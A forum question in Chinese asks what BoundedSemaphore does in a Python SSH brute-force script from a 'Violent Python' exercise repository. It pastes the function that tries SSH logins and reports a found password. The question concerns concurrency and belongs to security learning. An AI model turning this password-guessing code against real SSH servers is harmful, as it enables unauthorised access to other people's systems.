我很难理解这个特定代码中的“ Bounded.Semaphore”正在做什么。我在YouTube上查找了示例和视频,没有任何帮助。 这是完整的代码:https://github.com/tatmush/violentPython3/blob/master/Chapter-2/3-sshBrute.py
maxConnections = 5
connectionLock = BoundedSemaphore(value=maxConnections)
try:
s=pxssh.pxssh()
s.login(host, user, password)
print('[+]Password Found: ' + password)
found=True
print('Found in CONNECT: {}'.format(found))
except Exception as e:
print(e)
if 'read_nonblocking' in str(e):
logging.debug('Now in if statement')
fails+=1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
logging.debug('Now in elif')
time.sleep(1)
connect(host, user, password, False)
finally:
if release: connectionLock.release()